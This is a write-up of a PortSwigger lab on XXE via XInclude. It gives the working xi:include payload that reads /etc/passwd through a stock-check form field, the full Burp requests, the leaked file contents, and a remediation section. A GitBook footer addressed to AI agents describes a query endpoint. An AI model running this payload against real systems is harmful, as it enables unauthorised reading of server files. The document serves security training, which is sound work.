> For the complete documentation index, see [llms.txt](https://alham-rizvi.gitbook.io/alhamrizvi/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://alham-rizvi.gitbook.io/alhamrizvi/web-application-pentesting/06.-xml-external-entity-xxe-injection/lab-exploiting-xinclude-to-retrieve-files.md).

# Lab: Exploiting XInclude to Retrieve Files

**Lab:** [Exploiting XInclude to retrieve files](https://portswigger.net/web-security/xxe/lab-xinclude-attack) **Difficulty:** Practitioner **Category:** XML External Entity (XXE) Injection → XInclude Attack **Objective:** Retrieve the contents of `/etc/passwd` via the product stock checker, without being able to define a `DOCTYPE`. **Result:** ✅ Solved

***

### Part 1: What is XInclude? (Explained Simply)

**XInclude** is an official W3C XML mechanism that lets one XML document pull in content from another location and merge it in at parse time, think of it as XML's version of a `#include` or a server-side "insert this file here" directive. It's meant for legitimately composing documents out of reusable pieces, and many XML parsers support it out of the box, often without it being explicitly enabled by the developer.

```xml
<foo xmlns:xi="http://www.w3.org/2001/XInclude">
  <xi:include href="other-document.xml"/>
</foo>
```

When this is parsed, the parser fetches `other-document.xml` and inlines its content at that point in the tree.

#### Why does this matter for XXE?

Classic XXE relies on being able to inject a `<!DOCTYPE ... [ <!ENTITY ... > ]>` block — which requires control over the **entire XML document**, since `DOCTYPE` must appear near the very top, before the root element.

Many real-world apps don't give you that. Instead, they build the XML server-side and only splice **your input** into one field's *value* — like this:

```xml
<stockCheck>
  <productId>YOUR_INPUT_GOES_HERE</productId>
  <storeId>1</storeId>
</stockCheck>
```

You can't add a `DOCTYPE` here because you don't control the start of the document — the `<stockCheck>` opening tag and everything around it is already fixed by the server. This is exactly why the classic file-retrieval technique fails in this lab.

**XInclude sidesteps this entirely.** Since `xi:include` is a normal XML element (not a DTD construct), it can be placed *anywhere in the document body* — including inside the one field value you do control. No `DOCTYPE` required.

```mermaid
flowchart TD
    A[Classic XXE: needs DOCTYPE at<br/>the top of the document] -->|Blocked here — you<br/>only control one field's value| B[Can't inject a DOCTYPE]
    C[XInclude: a normal element,<br/>usable anywhere in the body] -->|Works — just insert it<br/>where your input lands| D["xi:include href=file:///etc/passwd parse=text"]
    D --> E[Parser fetches the file and<br/>inlines it as plain text]
```

#### The `parse="text"` detail

By default, `xi:include` assumes the target is itself well-formed XML and tries to parse it as such. `/etc/passwd` is plain text, not XML, so a default include would fail. Adding `parse="text"` tells the parser: *"don't try to parse this as XML — just pull in the raw text content."* That's the extra attribute the lab's hint is pointing at.

***

### Part 2: The Lab

#### Concept

The stock checker builds its XML server-side and only embeds the submitted `productId` value into an existing document — so there's no way to smuggle in a `DOCTYPE`. Instead, the XInclude namespace is declared and referenced directly inside the `productId` field, using `parse="text"` so `/etc/passwd`'s plain-text contents get inlined and reflected back.

#### Step 1 — Identify the vulnerable request

Visit a product page, click **"Check stock"**, and intercept the request in Burp Suite:

```
POST /product/stock HTTP/2
Host: 0a60008804820747833f8e9800650033.web-security-academy.net
Cookie: session=dKaNCNuZkCC8JMI2ozAAm9KTtKHLp1ZE; perf_dv6Tr4n=1
Content-Length: 21
Sec-Ch-Ua-Platform: "Windows"
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/150.0.0.0 Safari/537.36
Sec-Ch-Ua: "Not;A=Brand";v="8", "Chromium";v="150", "Google Chrome";v="150"
Content-Type: application/x-www-form-urlencoded
Sec-Ch-Ua-Mobile: ?0
Accept: */*
Origin: https://0a60008804820747833f8e9800650033.web-security-academy.net
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: https://0a60008804820747833f8e9800650033.web-security-academy.net/product?productId=1
Accept-Encoding: gzip, deflate, br
Accept-Language: en-GB,en-US;q=0.9,en;q=0.8
Priority: u=1, i

productId=1&storeId=1
```

**Note the important detail here:** unlike the previous two labs, this request is **not** `Content-Type: application/xml` — it's a plain `application/x-www-form-urlencoded` POST, exactly like a normal HTML form submission. The server takes the `productId` form value on the back end and embeds it into a pre-built XML document before parsing it. This is precisely the scenario the lab description sets up: you never see or control the raw XML at all, so injecting a `DOCTYPE` at the top of the document isn't possible — there's no document for you to prepend one to.

Send it to Repeater.

#### Step 2 — Confirm you can't use classic XXE

If you try wrapping `productId`'s value in a `DOCTYPE`-based payload, it does nothing — there's no XML document under your control to attach a `DOCTYPE` to; you only control a form field's value, which gets slotted into an *existing* document server-side.

#### Step 3 — Build the XInclude payload

Since `productId`'s value is embedded directly inside the server's XML, and XInclude elements are valid **anywhere** in a document body (not just at the top like a `DOCTYPE`), you can replace the form value entirely with an `xi:include` element:

```xml
<foo xmlns:xi="http://www.w3.org/2001/XInclude"><xi:include parse="text" href="file:///etc/passwd"/></foo>
```

#### Step 4 — Full modified request

Replace the `productId=1` form value with the URL-encoded XInclude payload:

```
POST /product/stock HTTP/2
Host: 0a60008804820747833f8e9800650033.web-security-academy.net
Cookie: session=dKaNCNuZkCC8JMI2ozAAm9KTtKHLp1ZE; perf_dv6Tr4n=1
Content-Length: 152
Sec-Ch-Ua-Platform: "Windows"
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/150.0.0.0 Safari/537.36
Sec-Ch-Ua: "Not;A=Brand";v="8", "Chromium";v="150", "Google Chrome";v="150"
Content-Type: application/x-www-form-urlencoded
Sec-Ch-Ua-Mobile: ?0
Accept: */*
Origin: https://0a60008804820747833f8e9800650033.web-security-academy.net
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: https://0a60008804820747833f8e9800650033.web-security-academy.net/product?productId=1
Accept-Encoding: gzip, deflate, br
Accept-Language: en-GB,en-US;q=0.9,en;q=0.8
Priority: u=1, i

productId=<foo xmlns:xi="http://www.w3.org/2001/XInclude"><xi:include parse="text" href="file:///etc/passwd"/></foo>&storeId=1
```

> ⚠️ In Burp Repeater, type the body exactly as shown above (readable/decoded form) — Repeater automatically URL-encodes the special characters (`<`, `>`, `"`, `/`, `=`) when it sends the request over the wire, and it recalculates `Content-Length` for you. You don't need to hand-encode anything.

<figure><img src="/files/SPWX2kPPLaXLcak3Cnaw" alt=""><figcaption></figcaption></figure>

#### Step 5 — Response received

```
HTTP/2 400 Bad Request
Content-Type: application/json; charset=utf-8
X-Frame-Options: SAMEORIGIN
Content-Length: 2338

"Invalid product ID: root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/usr/sbin/nologin
peter:x:12001:12001::/home/peter:/bin/bash
carlos:x:12002:12002::/home/carlos:/bin/bash
user:x:12000:12000::/home/user:/bin/bash
elmer:x:12099:12099::/home/elmer:/bin/bash
academy:x:10000:10000::/academy:/bin/bash
messagebus:x:101:101::/nonexistent:/usr/sbin/nologin
dnsmasq:x:102:65534:dnsmasq,,,:/var/lib/misc:/usr/sbin/nologin
systemd-timesync:x:103:103:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin
systemd-network:x:104:105:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin
systemd-resolve:x:105:106:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin
mysql:x:106:107:MySQL Server,,,:/nonexistent:/bin/false
postgres:x:107:110:PostgreSQL administrator,,,:/var/lib/postgresql:/bin/bash
usbmux:x:108:46:usbmux daemon,,,:/var/lib/usbmux:/usr/sbin/nologin
rtkit:x:109:115:RealtimeKit,,,:/proc:/usr/sbin/nologin
mongodb:x:110:117::/var/lib/mongodb:/usr/sbin/nologin
avahi:x:111:118:Avahi mDNS daemon,,,:/var/run/avahi-daemon:/usr/sbin/nologin
cups-pk-helper:x:112:119:user for cups-pk-helper service,,,:/home/cups-pk-helper:/usr/sbin/nologin
geoclue:x:113:120::/var/lib/geoclue:/usr/sbin/nologin
saned:x:114:122::/var/lib/saned:/usr/sbin/nologin
colord:x:115:123:colord colour management daemon,,,:/var/lib/colord:/usr/sbin/nologin
pulse:x:116:124:PulseAudio daemon,,,:/var/run/pulse:/usr/sbin/nologin
gdm:x:117:126:Gnome Display Manager:/var/lib/gdm3:/bin/false
"
```

<figure><img src="/files/DwuKlRb9Cm2OrMjHRGnG" alt=""><figcaption></figcaption></figure>

The `400 Bad Request` status is expected — the app returns it because the substituted value isn't a valid product ID; that's irrelevant to solving the lab, since the file contents are fully present in the response body regardless of status code.

**Notable accounts visible in the leak:** alongside standard system/service accounts, the file exposes lab-specific user accounts — `peter`, `carlos`, `user`, `elmer`, and `academy` — confirming this is the PortSwigger lab environment's filesystem, not a production system.

#### Step 6 — Confirm lab solved

The lab banner flips to **Solved** as soon as the file contents are successfully retrieved and reflected.

> 📸 **\[Screenshot placeholder: lab status banner showing "Solved"]**

***

### Root Cause

The server embeds untrusted user input into a pre-built server-side XML document and parses the result with **XInclude support enabled**. Even though the application prevents `DOCTYPE`-based entity injection by controlling the outer document structure, it fails to account for the fact that XInclude directives are ordinary XML elements — usable anywhere the parser accepts markup, including inside a single field value.

### Remediation

* Disable XInclude processing in the XML parser configuration, in addition to disabling DTD/external entity processing — these are separate settings and both need to be turned off.
* Treat any point where user input is embedded into server-built XML as untrusted, and encode/escape it (e.g. escape `<`, `>`, `&`) rather than splicing raw input into the document.
* Apply the same "disable unless explicitly required" principle to XInclude as to DTDs — very few applications have a genuine need for either from untrusted input.

***

### Key Takeaway

When a `DOCTYPE` can't be injected because you don't control the whole document, don't assume XXE is off the table — check whether the parser also supports **XInclude**, which can achieve the same file-disclosure impact from *within* a single field, no `DOCTYPE` needed. Remember the `parse="text"` attribute whenever the target file isn't valid XML itself.


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://alham-rizvi.gitbook.io/alhamrizvi/web-application-pentesting/06.-xml-external-entity-xxe-injection/lab-exploiting-xinclude-to-retrieve-files.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
